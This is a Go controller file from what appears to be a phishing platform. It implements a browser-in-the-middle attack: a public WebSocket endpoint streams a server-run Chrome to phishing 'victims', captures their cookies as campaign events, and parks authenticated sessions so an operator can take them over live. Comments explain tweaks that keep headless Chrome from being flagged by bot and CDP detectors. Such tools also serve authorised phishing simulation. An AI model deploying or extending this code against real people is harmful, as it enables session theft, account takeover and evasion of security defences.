Files
phishingclub/backend/controller/remoteBrowser.go
T
RonniSkansing 36e6c7aa7a patching headlesss
Signed-off-by: RonniSkansing <rskansing@gmail.com>
2026-07-24 16:40:13 +02:00

2162 lines
67 KiB
Go

package controller
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"fmt"
"image"
"image/draw"
"image/jpeg"
"image/png"
"math"
"math/rand"
"net/http"
"net/url"
"sync"
"sync/atomic"
"time"
"github.com/gin-gonic/gin"
"github.com/go-rod/rod"
"github.com/go-rod/rod/lib/proto"
"github.com/google/uuid"
"github.com/gorilla/websocket"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/cache"
"github.com/phishingclub/phishingclub/data"
"github.com/phishingclub/phishingclub/database"
"github.com/phishingclub/phishingclub/model"
"github.com/phishingclub/phishingclub/remotebrowser"
"github.com/phishingclub/phishingclub/repository"
"github.com/phishingclub/phishingclub/service"
"github.com/phishingclub/phishingclub/utils"
"github.com/phishingclub/phishingclub/vo"
)
// activeSession tracks every victim WebSocket session from the moment it connects.
// Pointer identity is used by CompareAndDelete so a newer session's entry
// is never removed by an older session's defer cleanup.
// browserPage is nil until the JS script calls newSession(); once set the session
// can be streamed to an admin via StreamLiveSession.
type activeSession struct {
cancel context.CancelFunc
CampaignID uuid.UUID
RecipientID uuid.UUID
CRID uuid.UUID
CreatedAt time.Time
victimConnected atomic.Bool
// isKeepAlive is set when the JS script calls s.keepAlive(), meaning the
// browser is parked and available for operator takeover. A revisit from the
// victim must not cancel this session.
isKeepAlive atomic.Bool
// isTest marks sessions created by the test runner (RunByID) so they are
// excluded from the live session list shown to operators.
isTest bool
// browserPage is set (non-nil) only after newSession() is called.
browserPageMu sync.Mutex
browserPage *rod.Page
// screencast broker: one Chrome screencast per target, ref-counted and shared by
// the operator viewer and victim streams. Both derive their frames from the same
// source, so a victim stream looks identical whether or not an operator is watching
// (no operator-presence leak), and two captures never run on one target.
scMu sync.Mutex
scTargets map[proto.TargetTargetID]*scTarget
}
// scFrame is the latest screencast frame for a target.
type scFrame struct {
data []byte
devW, devH float64
}
// scTarget is one shared, ref-counted screencast keyed by Chrome target.
type scTarget struct {
refs int
cancel context.CancelFunc
latest atomic.Pointer[scFrame]
}
func (a *activeSession) GetCampaignID() uuid.UUID { return a.CampaignID }
func (a *activeSession) Cancel() { a.cancel() }
func (a *activeSession) IsKeepAlive() bool { return a.isKeepAlive.Load() }
func (a *activeSession) getBrowserPage() *rod.Page {
a.browserPageMu.Lock()
defer a.browserPageMu.Unlock()
return a.browserPage
}
func (a *activeSession) setBrowserPage(page *rod.Page) {
a.browserPageMu.Lock()
defer a.browserPageMu.Unlock()
a.browserPage = page
}
// scAcquire ensures a single screencast is running on page's target and registers
// interest in it. get returns the latest frame (nil until the first arrives); release
// drops interest and stops the screencast when the last consumer leaves. Fixed params
// (native-resolution ceiling, quality 90) so every consumer sees identical frames
// regardless of who else is watching — this is what keeps a victim stream invariant to
// operator presence.
func (a *activeSession) scAcquire(page *rod.Page) (get func() *scFrame, release func()) {
tid := page.TargetID
a.scMu.Lock()
if a.scTargets == nil {
a.scTargets = map[proto.TargetTargetID]*scTarget{}
}
t := a.scTargets[tid]
if t == nil {
ctx, cancel := context.WithCancel(page.GetContext())
t = &scTarget{cancel: cancel}
a.scTargets[tid] = t
go a.runScreencast(ctx, page, t)
}
t.refs++
a.scMu.Unlock()
get = func() *scFrame { return t.latest.Load() }
var once sync.Once
release = func() {
once.Do(func() {
a.scMu.Lock()
t.refs--
if t.refs <= 0 {
t.cancel()
delete(a.scTargets, tid)
}
a.scMu.Unlock()
})
}
return get, release
}
// runScreencast drives one Chrome screencast, storing the latest frame until ctx is
// cancelled by the last release.
func (a *activeSession) runScreencast(ctx context.Context, page *rod.Page, t *scTarget) {
p := page.Context(ctx)
wait := p.EachEvent(func(e *proto.PageScreencastFrame) bool {
// Ack immediately so Chrome keeps producing regardless of consumer speed.
proto.PageScreencastFrameAck{SessionID: e.SessionID}.Call(p) //nolint:errcheck
var dw, dh float64
if e.Metadata != nil {
dw, dh = e.Metadata.DeviceWidth, e.Metadata.DeviceHeight
}
t.latest.Store(&scFrame{data: e.Data, devW: dw, devH: dh})
return false
})
// Foreground the tab so Chrome doesn't throttle its render pipeline.
proto.TargetActivateTarget{TargetID: page.TargetID}.Call(page.Browser()) //nolint:errcheck
q, w, h, n := 90, 3840, 2160, 1
proto.PageStartScreencast{
Format: proto.PageStartScreencastFormatJpeg,
Quality: &q,
MaxWidth: &w,
MaxHeight: &h,
EveryNthFrame: &n,
}.Call(p) //nolint:errcheck
proto.PageBringToFront{}.Call(p) //nolint:errcheck
// Idle headless pages don't emit screencast frames until Chrome renders; nudge a
// repaint if no frame has arrived shortly after start.
go func() {
tm := time.NewTimer(time.Second)
defer tm.Stop()
select {
case <-ctx.Done():
return
case <-tm.C:
}
if t.latest.Load() == nil {
proto.RuntimeEvaluate{Expression: "window.requestAnimationFrame(function(){void 0})"}.Call(p) //nolint:errcheck
}
}()
wait() // blocks until ctx cancelled by the last release
proto.PageStopScreencast{}.Call(page) //nolint:errcheck
}
// streamInfo tracks a named cropped stream started by s.stream(selector, name).
// originX/Y are the element's CSS-pixel top-left corner (for input coord mapping).
// scaleX/Y are JPEG pixels per CSS pixel, computed from the first frame received
// (may differ from 1.0 on HiDPI displays or when the viewport fits within maxWidth/maxHeight).
type streamInfo struct {
mu sync.RWMutex
originX float64
originY float64
scaleX float64
scaleY float64
boxSet bool // true once the first frame has been processed and scale is known
cancel context.CancelFunc
maxFps int
quality int // JPEG re-encode quality for cropped frames (0 = use default 92)
}
func (s *streamInfo) setOrigin(x, y float64) {
s.mu.Lock()
s.originX, s.originY = x, y
s.mu.Unlock()
}
func (s *streamInfo) setScale(sx, sy float64) {
s.mu.Lock()
s.scaleX, s.scaleY, s.boxSet = sx, sy, true
s.mu.Unlock()
}
// getInputCoords maps victim canvas pixel coords (vx, vy) back to CDP CSS pixel coords.
func (s *streamInfo) getInputCoords(vx, vy float64) (float64, float64, bool) {
s.mu.RLock()
defer s.mu.RUnlock()
if !s.boxSet || s.scaleX == 0 || s.scaleY == 0 {
return 0, 0, false
}
return s.originX + vx/s.scaleX, s.originY + vy/s.scaleY, true
}
var RemoteBrowserColumnsMap = map[string]string{
"name": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "name"),
"updated_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "updated_at"),
"created_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "created_at"),
}
var wsUpgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
if origin == "" {
return true // non-browser client (CLI, curl)
}
u, err := url.Parse(origin)
if err != nil {
return false
}
return u.Host == r.Host
},
}
func modelConfigToRunnerConfig(c nullable.Nullable[model.RemoteBrowserConfig]) remotebrowser.Config {
cfg := remotebrowser.DefaultConfig()
if mc, err := c.Get(); err == nil {
if mc.Mode == "local" || mc.Mode == "remote" {
cfg.Mode = mc.Mode
}
if cfg.Mode == "remote" {
cfg.Remote = mc.Remote
}
cfg.Proxy = mc.Proxy
cfg.Headless = mc.Headless
if mc.Timeout > 0 {
cfg.Timeout = mc.Timeout
}
cfg.Lang = mc.Lang
cfg.ExtraFlags = mc.ExtraFlags
}
return cfg
}
// RemoteBrowserController handles remote browser CRUD and live test runs.
type RemoteBrowserController struct {
Common
RemoteBrowserService *service.RemoteBrowser
RemoteBrowserRepository *repository.RemoteBrowser
CampaignRecipientRepository *repository.CampaignRecipient
CampaignRepository *repository.Campaign
CampaignService *service.Campaign
// ExecPath is the server-configured Chrome binary (from config.json).
ExecPath string
// Enabled mirrors config.RemoteBrowserServerConfig.Enabled. When false
// every endpoint returns 404 and the feature is fully unavailable.
Enabled bool
TrustedProxies []string
}
func (m *RemoteBrowserController) isEnabled(g *gin.Context) bool {
if !m.Enabled {
g.AbortWithStatus(http.StatusNotFound)
return false
}
return true
}
// Create creates a remote browser script.
func (m *RemoteBrowserController) Create(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
var req model.RemoteBrowser
if ok := m.handleParseRequest(g, &req); !ok {
return
}
id, err := m.RemoteBrowserService.Create(g.Request.Context(), session, &req)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, map[string]string{"id": id.String()})
}
// GetOverview returns a lightweight list of remote browsers.
func (m *RemoteBrowserController) GetOverview(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
queryArgs, ok := m.handleQueryArgs(g)
if !ok {
return
}
queryArgs.DefaultSortByUpdatedAt()
queryArgs.RemapOrderBy(RemoteBrowserColumnsMap)
companyID := companyIDFromRequestQuery(g)
result, err := m.RemoteBrowserService.GetAllOverview(
companyID,
g.Request.Context(),
session,
&repository.RemoteBrowserOption{QueryArgs: queryArgs},
)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, result)
}
// GetAll returns full remote browser records with pagination.
func (m *RemoteBrowserController) GetAll(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
queryArgs, ok := m.handleQueryArgs(g)
if !ok {
return
}
queryArgs.DefaultSortByUpdatedAt()
queryArgs.RemapOrderBy(RemoteBrowserColumnsMap)
companyID := companyIDFromRequestQuery(g)
result, err := m.RemoteBrowserService.GetAll(
g.Request.Context(),
session,
companyID,
&repository.RemoteBrowserOption{QueryArgs: queryArgs},
)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, result)
}
// GetByID returns a single remote browser.
func (m *RemoteBrowserController) GetByID(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{})
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, rb)
}
// UpdateByID updates a remote browser.
func (m *RemoteBrowserController) UpdateByID(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
var req model.RemoteBrowser
if ok := m.handleParseRequest(g, &req); !ok {
return
}
err := m.RemoteBrowserService.UpdateByID(g.Request.Context(), session, id, &req)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, map[string]string{"message": "Remote browser updated"})
}
// DeleteByID deletes a remote browser.
func (m *RemoteBrowserController) DeleteByID(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
err := m.RemoteBrowserService.DeleteByID(g.Request.Context(), session, id)
if ok := m.handleErrors(g, err); !ok {
return
}
m.Response.OK(g, map[string]string{"message": "Remote browser deleted"})
}
// RunByID upgrades to WebSocket and executes the saved script, streaming
// RunEvents back in real time. The client may send {"type":"stop"} to abort.
func (m *RemoteBrowserController) RunByID(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
id, ok := m.handleParseIDParam(g)
if !ok {
return
}
rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{})
if ok := m.handleErrors(g, err); !ok {
return
}
cfg := modelConfigToRunnerConfig(rb.Config)
conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil)
if err != nil {
m.Logger.Warnw("websocket upgrade failed", "error", err)
return
}
defer conn.Close()
conn.SetReadLimit(64 * 1024)
scriptVal, _ := rb.Script.Get()
script := scriptVal.String()
runner := remotebrowser.NewRunner(script, cfg)
runner.ExecPath = m.ExecPath
runner.Logger = m.Logger
ctx, cancel := context.WithCancel(g.Request.Context())
defer cancel()
// Register a synthetic activeSession so StreamLiveSession can stream this test run.
// Key is the script UUID, which won't collide with victim crIDs (campaign-recipient UUIDs).
sess := &activeSession{
cancel: cancel,
CRID: *id,
CreatedAt: time.Now(),
isTest: true,
}
if prev, hadPrev := m.RemoteBrowserService.SwapSession(id.String(), sess); hadPrev {
prev.Cancel()
}
defer m.RemoteBrowserService.CompareAndDeleteSession(id.String(), sess)
// Forward BrowserCh into the session so StreamLiveSession sees a non-nil page.
go func() {
select {
case page := <-runner.BrowserCh:
sess.setBrowserPage(page)
case <-ctx.Done():
}
}()
// Tell the frontend the session ID to use for View/Control streaming.
if sessionMsg, err := json.Marshal(map[string]string{"type": "session", "id": id.String()}); err == nil {
conn.WriteMessage(websocket.TextMessage, sessionMsg) //nolint:errcheck
}
// Read loop: route {"type":"stop"} to cancel; {"event":"..","data":{}} to runner.Incoming.
go func() {
for {
_, msg, err := conn.ReadMessage()
if err != nil {
cancel()
return
}
var cmd struct {
Type string `json:"type"`
Event string `json:"event"`
Data json.RawMessage `json:"data"`
}
if json.Unmarshal(msg, &cmd) != nil {
continue
}
if cmd.Type == "stop" {
cancel()
return
}
if cmd.Event != "" {
var data interface{}
if len(cmd.Data) > 0 {
json.Unmarshal(cmd.Data, &data) //nolint:errcheck
}
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: data}:
default:
}
}
}
}()
// Drain StreamCh — test runner doesn't serve cropped streams.
go func() {
for range runner.StreamCh {
}
}()
// Run the script in a goroutine; Events channel is closed when done.
go runner.Run(ctx) //nolint:errcheck
// Write loop: forward every RunEvent to the WebSocket client.
for evt := range runner.Events {
data, err := json.Marshal(evt)
if err != nil {
continue
}
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
return
}
}
}
// ServeVictim is the public (no auth) WebSocket endpoint that victims connect to.
// The URL is /<seeded-ws-path>/:crID/:rbID where crID is the campaign recipient ID
// (the tracking token already embedded in the phishing page via {{.rID}}) and rbID
// is the remote browser script to run.
//
// The handler bridges victim WebSocket messages into the runner's Incoming channel and
// forwards runner events back to the victim. When the runner emits a "capture" event
// the cookies are saved as a CampaignEvent so they appear alongside AITM captures.
func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
if !m.isEnabled(g) {
return
}
crID, err := uuid.Parse(g.Param("crID"))
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
rbID, err := uuid.Parse(g.Param("rbID"))
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
// look up campaign recipient to get campaignID / recipientID for capture saving
cr, err := m.CampaignRecipientRepository.GetByCampaignRecipientID(g.Request.Context(), &crID)
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
// look up remote browser script directly (no admin session on this public endpoint)
rb, err := m.RemoteBrowserRepository.GetByID(g.Request.Context(), &rbID, &repository.RemoteBrowserOption{})
if err != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
// verify the script belongs to the same company as the
// campaign. A script with no company (nil) is global and usable by any campaign.
if rbCompany, err := rb.CompanyID.Get(); err == nil {
cid, cidErr := cr.CampaignID.Get()
if cidErr != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
campaign, campErr := m.CampaignRepository.GetByID(g.Request.Context(), &cid, &repository.CampaignOption{})
if campErr != nil {
g.AbortWithStatus(http.StatusNotFound)
return
}
campCompany, campCompanyErr := campaign.CompanyID.Get()
if campCompanyErr != nil || campCompany != rbCompany {
g.AbortWithStatus(http.StatusNotFound)
return
}
}
cfg := modelConfigToRunnerConfig(rb.Config)
conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil)
if err != nil {
return
}
defer conn.Close()
conn.SetReadLimit(64 * 1024)
var connMu sync.Mutex
scriptVal, _ := rb.Script.Get()
runner := remotebrowser.NewRunner(scriptVal.String(), cfg)
runner.ExecPath = m.ExecPath
runner.Logger = m.Logger
campaignID, err1 := cr.CampaignID.Get()
recipientID, err2 := cr.RecipientID.Get()
if err1 != nil || err2 != nil {
g.AbortWithStatus(http.StatusInternalServerError)
return
}
// Use a background context for the runner so the victim's HTTP connection
// closing (which cancels g.Request.Context()) does not kill a keepAlive
// session. The session lifetime is controlled explicitly via cancel().
ctx, cancel := context.WithCancel(context.Background())
sess := &activeSession{
cancel: cancel,
CampaignID: campaignID,
RecipientID: recipientID,
CRID: crID,
CreatedAt: time.Now(),
}
sess.victimConnected.Store(true)
// One active session per campaign recipient — cancel any previous one.
// Exception: if the previous session is in keepAlive state the script has
// parked and is waiting for operator takeover; cancelling it would destroy
// a live browser the operator may be about to use. In that case put the
// old session back and drop the new connection instead.
crIDStr := crID.String()
if prev, hadPrev := m.RemoteBrowserService.SwapSession(crIDStr, sess); hadPrev {
if prev.IsKeepAlive() {
m.RemoteBrowserService.StoreSession(crIDStr, prev)
cancel()
return
}
prev.Cancel()
}
defer func() {
// For keepAlive sessions the runner is still parked waiting for the
// operator — do not cancel or remove it here. CloseLiveSession handles
// cleanup when the operator explicitly ends the session.
if !sess.isKeepAlive.Load() {
m.RemoteBrowserService.CompareAndDeleteSession(crIDStr, sess)
cancel()
}
}()
var activeNamedStreams sync.Map // name → *streamInfo
// victimVP stores the victim's viewport size sent on connect.
// Stored as int64 atomics so they can be read from the BrowserCh goroutine
// without a mutex; 0 means "not yet received".
var vpWidth, vpHeight atomic.Int64
var vpScreenW, vpScreenH atomic.Int64 // recipient screen.width/height; 0 means "not yet received"
// applyViewport sets the emulated viewport on the rod page if we have both a page
// and a non-zero victim viewport. DeviceScaleFactor is pinned to 1: a value != 1
// makes Chrome compute mouse movementX/movementY in a scaled space, so
// movementX != clientX - prevClientX for CDP-injected events, which detectors flag
// as a CDP mouse leak. Rendering at DSF 1 is slightly softer on HiDPI but keeps the
// injected mouse coordinates internally consistent.
applyViewport := func(page *rod.Page) {
w := vpWidth.Load()
h := vpHeight.Load()
if w <= 0 || h <= 0 || page == nil {
return
}
// Mirror the recipient's real screen so screen.width/height stays consistent
// with the emulated viewport. Without a screen override the viewport
// (innerWidth/Height) exceeds the headless window's default 800x600 screen,
// which detectors flag as impossible. Fall back to the viewport size when the
// recipient did not report a screen, which still keeps screen >= viewport.
sw := int(vpScreenW.Load())
if sw < int(w) {
sw = int(w)
}
sh := int(vpScreenH.Load())
if sh < int(h) {
sh = int(h)
}
proto.EmulationSetDeviceMetricsOverride{
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
ScreenWidth: &sw, ScreenHeight: &sh,
}.Call(page) //nolint:errcheck
}
// Read loop: forward victim events into the runner; route stream_input with coord offset.
go func() {
// Per-stream last mousemove dispatch time used to cap stream_input mousemove
// events at 60 Hz. Clicks and other actions are always forwarded immediately.
streamMouseMoveLast := map[string]time.Time{}
const streamMouseMoveMinInterval = 16 * time.Millisecond
for {
_, msg, err := conn.ReadMessage()
if err != nil {
sess.victimConnected.Store(false)
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: "disconnect"}:
default:
}
// keepAlive: browser is parked for operator takeover — a victim
// disconnect must not kill the session, the operator still needs it.
if !sess.isKeepAlive.Load() {
cancel()
}
return
}
var cmd struct {
Type string `json:"type"`
Event string `json:"event"`
Data json.RawMessage `json:"data"`
Name string `json:"name"`
Action string `json:"action"`
X float64 `json:"x"`
Y float64 `json:"y"`
Button string `json:"button"`
DeltaX float64 `json:"deltaX"`
DeltaY float64 `json:"deltaY"`
Key string `json:"key"`
Code string `json:"code"`
KeyCode int64 `json:"keyCode"`
Modifiers int64 `json:"modifiers"`
CharText string `json:"charText"`
Width float64 `json:"width"`
Height float64 `json:"height"`
Dpr float64 `json:"dpr"`
ScreenWidth float64 `json:"screenWidth"`
ScreenHeight float64 `json:"screenHeight"`
}
if json.Unmarshal(msg, &cmd) != nil {
continue
}
if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 {
vpWidth.Store(int64(cmd.Width))
vpHeight.Store(int64(cmd.Height))
if cmd.ScreenWidth > 0 && cmd.ScreenHeight > 0 {
vpScreenW.Store(int64(cmd.ScreenWidth))
vpScreenH.Store(int64(cmd.ScreenHeight))
}
applyViewport(sess.getBrowserPage())
continue
}
if cmd.Type == "stream_input" && cmd.Name != "" && cmd.Action != "" {
// Rate-limit mousemove to 60 Hz - the captcha screencast frame rate
// is typically well below this, so extra events never make it into
// a frame and only add unnecessary CDP round-trips.
if cmd.Action == "mousemove" {
now := time.Now()
if now.Sub(streamMouseMoveLast[cmd.Name]) < streamMouseMoveMinInterval {
continue
}
streamMouseMoveLast[cmd.Name] = now
}
if val, exists := activeNamedStreams.Load(cmd.Name); exists {
si := val.(*streamInfo)
// cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords.
cdpX, cdpY, ok := si.getInputCoords(cmd.X, cmd.Y)
if ok {
if page := sess.getBrowserPage(); page != nil {
adjusted, _ := json.Marshal(map[string]interface{}{
"type": cmd.Action,
"x": cdpX,
"y": cdpY,
"button": cmd.Button,
"deltaX": cmd.DeltaX,
"deltaY": cmd.DeltaY,
"key": cmd.Key,
"code": cmd.Code,
"keyCode": cmd.KeyCode,
"modifiers": cmd.Modifiers,
"charText": cmd.CharText,
})
m.dispatchInput(page, adjusted)
}
}
}
continue
}
if cmd.Event == "" {
continue
}
var eventData interface{}
json.Unmarshal(cmd.Data, &eventData) //nolint:errcheck
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: eventData}:
default:
}
}
}()
go runner.Run(ctx) //nolint:errcheck
// As soon as the browser spawns, mark the session as streamable, apply the
// victim viewport, and subscribe to navigation events so the script can react
// via s.on("navigate", fn).
go func() {
select {
case <-ctx.Done():
case page := <-runner.BrowserCh:
sess.setBrowserPage(page)
applyViewport(page)
wait := page.EachEvent(
func(e *proto.PageFrameNavigated) (stop bool) {
if e.Frame != nil && e.Frame.ParentID == "" {
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.Frame.URL}}:
default:
}
}
return
},
func(e *proto.PageNavigatedWithinDocument) (stop bool) {
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.URL}}:
default:
}
return
},
)
go wait()
}
}()
// Watch for s.stream(selector, name) / stop() calls from the script.
go func() {
for {
select {
case <-ctx.Done():
return
case cmd, ok := <-runner.StreamCh:
if !ok {
return
}
if cmd.Op == "start" {
if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists {
val.(*streamInfo).cancel()
}
streamCtx, streamCancel := context.WithCancel(cmd.Page.GetContext())
si := &streamInfo{cancel: streamCancel, maxFps: cmd.MaxFps, quality: cmd.Quality}
activeNamedStreams.Store(cmd.Name, si)
go m.runNamedStream(streamCtx, cmd.Page, sess, &connMu, conn, cmd.Selector, cmd.Name, si)
} else if cmd.Op == "stop" {
if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists {
val.(*streamInfo).cancel()
}
}
}
}
}()
clientIP := utils.ExtractClientIP(g.Request, m.TrustedProxies)
userAgent := g.Request.UserAgent()
// processEvent handles server-side effects for a RunEvent (DB writes, session state
// updates). Uses context.Background() so a victim disconnect does not cause DB writes
// to fail mid-flight.
processEvent := func(evt remotebrowser.RunEvent) {
switch evt.Type {
case "capture":
m.saveCaptureEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent)
case "submit":
m.saveSubmitEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent)
case "error":
m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent)
case "info":
m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent)
case "keep_alive":
sess.isKeepAlive.Store(true)
select {
case page := <-runner.LiveCh:
sess.setBrowserPage(page)
m.saveInfoEvent(context.Background(), &campaignID, &recipientID, "remote browser session available for takeover", clientIP, userAgent)
default:
}
case "log":
m.Logger.Debugw(evt.Message, "campaign_id", campaignID, "recipient_id", recipientID)
}
}
// Write loop: forward script events back to the victim page and handle server-side
// effects. Uses a select so it exits when the victim's HTTP connection closes without
// cancelling the runner (which must stay alive for keepAlive sessions).
// On disconnect, drain any buffered events so a keep_alive arriving simultaneously
// with the disconnect is not silently lost.
reqCtx := g.Request.Context()
for {
select {
case <-reqCtx.Done():
// Victim disconnected. Non-blocking drain of buffered events to catch
// a keep_alive or capture that arrived at the same time as the disconnect.
for {
select {
case evt, ok := <-runner.Events:
if !ok {
return
}
processEvent(evt)
default:
return
}
}
case evt, ok := <-runner.Events:
if !ok {
return
}
processEvent(evt)
if evt.Type == "log" || evt.Type == "capture" || evt.Type == "submit" ||
evt.Type == "keep_alive" || evt.Type == "info" || evt.Type == "error" ||
evt.Type == "screenshot" || evt.Type == "dom_dump" {
continue
}
payload, err := json.Marshal(map[string]interface{}{
"type": evt.Type,
"key": evt.Key,
"value": evt.Value,
})
if err != nil {
continue
}
connMu.Lock()
writeErr := conn.WriteMessage(websocket.TextMessage, payload)
connMu.Unlock()
if writeErr != nil {
return
}
}
}
}
// liveSessionInfo is the JSON shape returned by the live session list/get endpoints.
type liveSessionInfo struct {
CRID string `json:"crID"`
CampaignID string `json:"campaignID"`
RecipientID string `json:"recipientID"`
CreatedAt time.Time `json:"createdAt"`
VictimConnected bool `json:"victimConnected"`
CanStream bool `json:"canStream"` // true once newSession() has spawned a browser
}
func (m *RemoteBrowserController) sessionToInfo(sess *activeSession) liveSessionInfo {
return liveSessionInfo{
CRID: sess.CRID.String(),
CampaignID: sess.CampaignID.String(),
RecipientID: sess.RecipientID.String(),
CreatedAt: sess.CreatedAt,
VictimConnected: sess.victimConnected.Load(),
CanStream: sess.getBrowserPage() != nil,
}
}
// ListLiveSessions returns all active victim sessions for the campaign, optionally
// filtered by campaignID query param.
func (m *RemoteBrowserController) ListLiveSessions(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized {
if err != nil {
m.Logger.Warnw("IsAuthorized error in ListLiveSessions", "error", err)
}
m.Response.Forbidden(g)
return
}
campaignFilter := g.Query("campaignID")
var sessions []liveSessionInfo
m.RemoteBrowserService.RangeSessions(func(_ string, val service.LiveSession) bool {
sess := val.(*activeSession)
if sess.isTest {
return true
}
if campaignFilter == "" || sess.CampaignID.String() == campaignFilter {
sessions = append(sessions, m.sessionToInfo(sess))
}
return true
})
if sessions == nil {
sessions = []liveSessionInfo{}
}
m.Response.OK(g, sessions)
}
// CloseLiveSession terminates an active victim session by cancelling its context.
func (m *RemoteBrowserController) CloseLiveSession(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized {
if err != nil {
m.Logger.Warnw("IsAuthorized error in CloseLiveSession", "error", err)
}
m.Response.Forbidden(g)
return
}
crID := g.Param("crID")
val, loaded := m.RemoteBrowserService.LoadAndDeleteSession(crID)
if !loaded {
g.AbortWithStatus(http.StatusNotFound)
return
}
val.Cancel()
m.Response.OK(g, map[string]string{"message": "live session closed"})
}
// StreamLiveSession upgrades to WebSocket and streams a CDP screencast of the
// active browser tab to the admin. When mode=control the admin's mouse and
// keyboard input is forwarded back into the browser. New tabs opened by the
// victim are auto-tracked; the admin can switch between them or close them via
// switch_tab / close_tab WS messages.
func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) {
if !m.isEnabled(g) {
return
}
session, _, ok := m.handleSession(g)
if !ok {
return
}
if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized {
if err != nil {
m.Logger.Warnw("IsAuthorized error in StreamLiveSession", "error", err)
}
m.Response.Forbidden(g)
return
}
crIDStr := g.Param("crID")
val, exists := m.RemoteBrowserService.LoadSession(crIDStr)
if !exists {
g.AbortWithStatus(http.StatusNotFound)
return
}
sess := val.(*activeSession)
page := sess.getBrowserPage()
if page == nil {
// newSession() has not been called yet in the script
g.AbortWithStatus(http.StatusServiceUnavailable)
return
}
controlMode := g.Query("mode") == "control"
conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil)
if err != nil {
return
}
defer conn.Close()
conn.SetReadLimit(64 * 1024)
// Derived from outerCtx so the stream also ends when the victim session ends.
streamCtx, streamCancel := context.WithCancel(page.GetContext())
defer streamCancel()
type tabEntry struct {
page *rod.Page
url string
}
var tabsMu sync.Mutex
tabs := map[proto.TargetTargetID]*tabEntry{
page.TargetID: {page: page, url: ""},
}
var activePageMu sync.RWMutex
activePageVal := page
getActivePage := func() *rod.Page {
activePageMu.RLock()
defer activePageMu.RUnlock()
return activePageVal
}
setActivePage := func(p *rod.Page) {
activePageMu.Lock()
defer activePageMu.Unlock()
activePageVal = p
}
// Shared across tab switches; all feed into the write loop below.
// Buffered to 1 so only the newest frame is ever queued: a slow client drops
// intermediate frames instead of rendering a growing backlog of stale ones.
frameCh := make(chan *scFrame, 1)
urlCh := make(chan string, 4)
switchCh := make(chan *rod.Page, 1)
// notifyCh routes pre-encoded JSON from background goroutines to the write
// loop, which is the sole writer on conn.
notifyCh := make(chan []byte, 8)
sendTabList := func() {
active := getActivePage()
tabsMu.Lock()
type tabMsg struct {
TargetID string `json:"targetID"`
URL string `json:"url"`
Active bool `json:"active"`
}
list := make([]tabMsg, 0, len(tabs))
for tid, e := range tabs {
list = append(list, tabMsg{
TargetID: string(tid),
URL: e.url,
Active: active != nil && tid == active.TargetID,
})
}
tabsMu.Unlock()
payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list})
if err != nil {
return
}
select {
case notifyCh <- payload:
default:
}
}
// pageCancel cancels the previous tab's navigation subscription on every switch.
